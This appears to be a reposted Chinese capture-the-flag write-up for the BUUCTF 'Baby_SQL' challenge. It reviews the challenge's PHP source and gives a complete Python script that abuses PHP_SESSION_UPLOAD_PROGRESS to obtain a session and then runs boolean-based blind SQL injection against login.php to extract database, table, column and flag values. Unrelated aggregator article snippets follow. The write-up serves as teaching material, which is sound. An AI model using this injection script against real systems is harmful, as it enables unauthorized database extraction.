58,【8】BUUCTF [PwnThyBytes 2019]Baby_SQL1

4e37dd0f7ee3464aa6ce2393f6f95ef3.png

进入靶场

c4223c40e4334cd2a8820d5812d2e688.png

和2次注入的页面很像

不过养成查看源代码的好习惯

0f4a9d724c98460e8c313e3f1660dce6.png

af014ce10e9c45ce92c549ae8ca8926c.png

先访问source.zip

下载后解压,发现两个文件

b4edafca53194923bfa6ad2daa50e59e.png

第一个文件夹打开又有4个PHP文件

62033bcd258645bb9f2860e17d7ebaa9.png

那还是先看index.php文件好了

有PHP和HTML两部分,下面是PHP部分代码(HTML太长了,先放一放)

<?php
// 启动会话
session_start();// 对 $_SESSION 中的每个元素进行过滤处理
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
// 对 $_GET 中的每个元素进行过滤处理
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
// 对 $_POST 中的每个元素进行过滤处理
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
// 对 $_REQUEST 中的每个元素进行过滤处理
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;// 定义过滤函数
function filter($value)
{// 如果值不是字符串,终止脚本并输出 Hacking attempt!!is_string($value) AND die("Hacking attempt!");// 使用 addslashes 函数对字符串进行转义,防止 SQL 注入return addslashes($value);
}// 如果满足以下条件,包含 templates/register.php 文件
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
// 如果满足以下条件,包含 templates/login.php 文件
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
// 如果满足以下条件,包含 templates/home.php 文件
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

对通过SESSION、GET、POST、REQUEST方法获取到的每个元素进行过滤处理,对字符串进行转义来防止SQL注入

看另外4个

db.php

<?php$servername = $_ENV["DB_HOST"];
$username = $_ENV["DB_USER"];
$password = $_ENV["DB_PASSWORD"];
$dbname = $_ENV["DB_NAME"];$con = new mysqli($servername, $username, $password, $dbname);?>
<?php
// 从环境变量中获取数据库的主机地址
$servername = $_ENV["DB_HOST"];
// 从环境变量中获取用于连接数据库的用户名
$username = $_ENV["DB_USER"];
// 从环境变量中获取连接数据库的密码
$password = $_ENV["DB_PASSWORD"];
// 从环境变量中获取要连接的数据库的名称
$dbname = $_ENV["DB_NAME"];// 使用 mysqli 类创建一个新的数据库连接对象,将前面获取的主机地址、用户名、密码和数据库名称作为参数
$con = new mysqli($servername, $username, $password, $dbname);
?>

home.php

<!DOCTYPE html>
<html lang="en">
<head><!-- 定义文档字符编码为 utf-8 --><meta charset="utf-8"><!-- 告知搜索引擎不要索引此页面 --><meta name="robots" content="noindex"><title>home</title><!-- 设置视口,以实现响应式布局 --><meta name="viewport" content="width=device-width, initial-scale=1"><!-- 引入 Bootstrap 的 CSS 样式表 --><link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet"id="bootstrap-css"><style type="text/css"></style><!-- 引入 jQuery 库 --><script src="//code.jquery.com/jquery-1.10.2.min.js"></script><!-- 引入 Bootstrap 的 JavaScript 库 --><script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container"><?php// 包含数据库连接文件 db.phpinclude 'db.php';// 判断是否设置了 $_SESSION["username"]if (isset($_SESSION["username"])):// 如果设置了 $_SESSION["username"],显示一个警告信息die('<div class="alert alert-warning" id="msg-verify" role="alert"><strong>Hope this site is secure! I did my best to protect against some attacks. New sections will be available soon.</strong></div>');else:// 如果未设置 $_SESSION["username"],进行页面刷新,跳转到?p=logindie('<meta http-equiv="refresh" content="0; url=?p=login" />');endif;?>
</div>
</body>
</html>

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);function auth($user)
{$_SESSION['username'] = $user;return True;
}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));?>
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';// 构建 SQL 查询语句,从 `ptbctf`.`ptbctf` 表中查询用户名为 $_GET['username'] 且密码为 $_GET['password'] 的 MD5 加密值的用户信息
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'. $_GET['username']. '" and password="'. md5($_GET['password']). '";';
// 执行 SQL 查询
$result = $con->query($sql);// 定义 auth 函数,用于将用户信息存储在 $_SESSION 中并返回 True
function auth($user)
{$_SESSION['username'] = $user;return True;
}// 以下是逻辑判断:
// 如果查询结果行数大于 0,并且可以获取查询结果的一行数据,并且关闭数据库连接,并且调用 auth 函数存储用户信息,并且重定向到?p=home 页面,则执行成功;
// 否则关闭数据库连接并输出 Try again!
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

redister.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));?>
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';// 以下是对 $_POST['username'] 的验证:
// 检查用户名是否包含字母 a、d、m、i、n 中的任何一个(不区分大小写),
// 或者用户名长度小于 6,
// 或者用户名长度大于 10,
// 或者用户名不是字母数字组合
// 如果满足上述任何一个条件,则关闭数据库连接并输出 "Not allowed!"
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR!ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");// 构建 SQL 插入语句,将用户输入的用户名和密码(密码进行 MD5 加密)插入到 `ptbctf`.`ptbctf` 表中
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("'. $_POST['username']. '","'. md5($_POST['password']). '")';
// 执行 SQL 插入操作,如果插入成功则关闭数据库连接并输出 "The user was created successfully!",否则关闭数据库连接并输出 "Error!"
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>

根据代码信息绕过过滤机制

运行以下python脚本

import requests
import timeurl = "http://b9b081b9-90ad-4343-93d0-98dbc62e66d2.node5.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}# 字段值
flag = ''
for i in range(1, 100):low = 32high = 127mid = (low + high) // 2while low < high:time.sleep(0.06)payload_flag = {'username': f"test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{i},1))>{mid}) #",'password': 'test'}r = requests.post(url=url, params=payload_flag, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHPSESSID": "test1"})if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breakflag += chr(mid)print(flag)print(flag)# 列名
column = ''
for i in range(1, 100):low = 32high = 127mid = (low + high) // 2while low < high:time.sleep(0.06)payload_column = {'username': f"test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl' ),{i},1))>{mid}) #",'password': 'test'}r = requests.post(url=url, params=payload_column, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breakcolumn += chr(mid)print(column)print(column)# 表名
table = ''
for i in range(1, 100):low = 32high = 127mid = (low + high) // 2while low < high:time.sleep(0.06)payload_table = {'username': f'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ptbctf"),{i},1))>{mid}) #','password': 'test'}r = requests.post(url=url, params=payload_table, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breaktable += chr(mid)print(table)print(table)# 数据库名
database = ''
for i in range(1, 100):low = 32high = 127mid = (low + high) // 2while low < high:time.sleep(0.06)payload_database = {'username': f"test\" or (ascii(substr((select database()),{i},1))>{mid}) #",'password': 'test'}r = requests.post(url=url, params=payload_database, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breakdatabase += chr(mid)print(database)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/892991.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI编程工具横向评测--Cloudstudio塑造完全态的jupyter notebook助力数据分析应用开发

AI编程工具横向评测–Cloudstudio塑造完全态的jupyter notebook助力数据分析应用开发 数据分析类应用的开发&#xff0c;指的是首先进行数据分析&#xff0c;比如统计学分析、机器学习模型的构建等&#xff0c;然后将分析的流程开发成数据分析类的工具&#xff0c;或者将数据分…

医疗集群系统中基于超融合数据库架构的应用与前景探析

一、引言 1.1 研究背景与意义 随着医疗信息化的飞速发展,医疗数据呈爆炸式增长。从日常诊疗记录、患者病历,到各类医疗影像、检查检验数据等,海量信息不断涌现。据统计,医疗数据的年增长率高达 30% 以上 ,2025 年,全球医疗数据量将达到 2314 艾字节(EB)。如此庞大的数…

vue项目引入阿里云svg资源图标

1&#xff1a;生成svg图标 登录阿里云官网 1.1 创建项目组 1.2 从阿里云网站上面获取喜欢的图标加入到已有的项目组 1.3 如果团队有自己的设计师&#xff0c;也可以让设计师上传自己的svg图标到阿里云指定的项目组&#xff1b; 使用的时候&#xff0c;把 资源包下载到本地项…

网络安全面试题汇总(个人经验)

1.谈一下SQL主从备份原理&#xff1f; 答&#xff1a;主将数据变更写入自己的二进制log,从主动去主那里去拉二进制log并写入自己的二进制log,从而自己数据库依据二进制log内容做相应变更。主写从读 2.linux系统中的计划任务crontab配置文件中的五个星星分别代表什么&#xff…

Elasticsearch:Jira 连接器教程第二部分 - 6 个优化技巧

作者&#xff1a;来自 Elastic Gustavo Llermaly 将 Jira 连接到 Elasticsearch 后&#xff0c;我们现在将回顾最佳实践以升级此部署。 在本系列的第一部分中&#xff0c;我们配置了 Jira 连接器并将对象索引到 Elasticsearch 中。在第二部分中&#xff0c;我们将回顾一些最佳实…

5 分钟复刻你的声音,一键实现 GPT-Sovits 模型部署

想象一下&#xff0c;只需简单几步操作&#xff0c;就能生成逼真的语音效果&#xff0c;无论是为客户服务还是为游戏角色配音&#xff0c;都能轻松实现。GPT-Sovits 模型&#xff0c;其高效的语音生成能力为实现自然、流畅的语音交互提供了强有力的技术支持。本文将详细介绍如何…

【CSS】---- CSS 实现超过固定高度后出现展开折叠按钮

1. 实现效果 2. 实现方法 使用 JS 获取盒子的高度&#xff0c;来添加对应的按钮和样式&#xff1b;使用 CSS 的浮动效果&#xff0c;参考CSS 实现超过固定高度后出现展开折叠按钮&#xff1b;使用容器查询 – container 语法&#xff1b;使用 clamp 函数进行样式判断。 3. 优…

【git】如何删除本地分支和远程分支?

1.如何在 Git 中删除本地分支 本地分支是您本地机器上的分支&#xff0c;不会影响任何远程分支。 &#xff08;1&#xff09;在 Git 中删除本地分支 git branch -d local_branch_name git branch 是在本地删除分支的命令。-d是一个标志&#xff0c;是命令的一个选项&#x…

基于微信小程序的摄影竞赛系统设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

人工智能-机器学习之多分类分析(项目实战二-鸢尾花的多分类分析)

Softmax回归听名字&#xff0c;依然好像是做回归任务的算法&#xff0c;但其实它是去做多分类任务的算法。 篮球比赛胜负是二分类&#xff0c;足球比赛胜平负就是多分类 识别手写数字0和1是二分类&#xff0c;识别手写数字0-9就是多分类 Softmax回归算法是一种用于多分类问题…

DeepSeek-v3在训练和推理方面的优化

1. 基础架构&#xff1a;MLA&#xff0c;大幅减少了KV cache大小。&#xff08;计算量能不能减少&#xff1f;&#xff09; 2. 基础架构&#xff1a;MoE&#xff0c;同等参数量&#xff08;模型的”能力“&#xff09;下&#xff0c;训练、推理的计算量大幅减少。 3. MoE的load…

MySQL8数据库全攻略:版本特性、下载、安装、卸载与管理工具详解

大家好&#xff0c;我是袁庭新。 MySQL作为企业项目中的主流数据库&#xff0c;其5.x和8.x版本尤为常用。本文将详细介绍MySQL 8.x的特性、下载、安装、服务管理、卸载及管理工具&#xff0c;旨在帮助用户更好地掌握和使用MySQL数据库。 1.MySQL版本及下载 企业项目中使用的…

centos 7 Mysql服务

将此服务器配置为 MySQL 服务器&#xff0c;创建数据库为 hubeidatabase&#xff0c;将登录的root密码设置为Qwer1234。在库中创建表为 mytable&#xff0c;在表中创建 2 个用户&#xff0c;分别为&#xff08;xiaoming&#xff0c;2010-4-1&#xff0c;女&#xff0c;male&…

紫光无人机AI飞控平台介绍

随着无人机技术的迅猛发展&#xff0c;无人机飞控平台的智能化需求不断提升。紫光无人机AI飞控平台作为一款创新型产品&#xff0c;为用户提供了从飞行控制到任务管理的一站式解决方案&#xff0c;尤其在AI实时识别和事件分析方面具有显著优势。本文将介绍平台的核心功能、技术…

【机器学习实战入门】有趣的Python项目:使用OpenCV进行性别和年龄检测

Gender and Age Detection Python 项目 首先,向您介绍用于此高级 Python 项目的性别和年龄检测中的术语: 什么是计算机视觉? 计算机视觉是一门让计算机能够像人类一样观察和识别数字图像和视频的学科。它面临的挑战大多源于对生物视觉有限的了解。计算机视觉涉及获取、处…

AutoAlign实体对齐方法的详细工作原理和在大规模知识图谱中的应用

AutoAlign是一种全自动且高效的知识图谱对齐方法&#xff0c;其工作原理主要基于大型语言模型&#xff08;LLM&#xff09;&#xff0c;如ChatGPT和Claude&#xff0c;通过构建谓词邻近图和实体嵌入模块来实现实体和谓词的自动对齐。这种方法不需要人工标注种子对齐&#xff0c…

【2025最新】国内中文版 ChatGPT镜像网站整理合集,GPT最新模型4o1,4o,4o-mini分类区别,镜像站是什么

1.快速导航 原生中转型镜像站点 立即Chat支持GPT4、4o以及o1,canvs等&#xff0c;同步官网功能 AIChat.com 支持最新4O 2.两者对比 官网立即Chat访问难度需要魔法直接访问支付手段国际支付国内支付封禁策略检测节点&#xff0c;随时封禁不会封禁价格每月140元订阅费用每年70元…

事务机制及Spring事务管理

事务概览 事务是一组操作的集合&#xff0c;它是一个不可分割的工作单位。 事务会将所有的操作作为一个整体一起向系统提交或撤销操作请求&#xff0c;换句话说&#xff1a;这些操作要么同时成功、要么同时失败。 具体案例 我们先看一个需求&#xff1a;现在有两张数据库表&…

CCLINKIE转ModbusTCP网关,助机器人“掀起”工业智能的“惊涛骇浪”

以下是一个稳联技术CCLINKIE转ModbusTCP网关&#xff08;WL-CCL-MTCP&#xff09;连接三菱PLC与机器人的配置案例&#xff1a;设备与软件准备设备&#xff1a;稳联技术WL-CCL-MTCP网关、三菱FX5UPLC、支持ModbusTCP协议的机器人、网线等。 稳联技术ModbusTCP转CCLINKIE网关&…

python管理工具:conda部署+使用

python管理工具&#xff1a;conda部署使用 一、安装部署 1、 下载 - 官网下载&#xff1a; https://repo.anaconda.com/archive/index.html - wget方式&#xff1a; wget -c https://repo.anaconda.com/archive/Anaconda3-2023.03-1-Linux-x86_64.sh2、 安装 在conda文件的…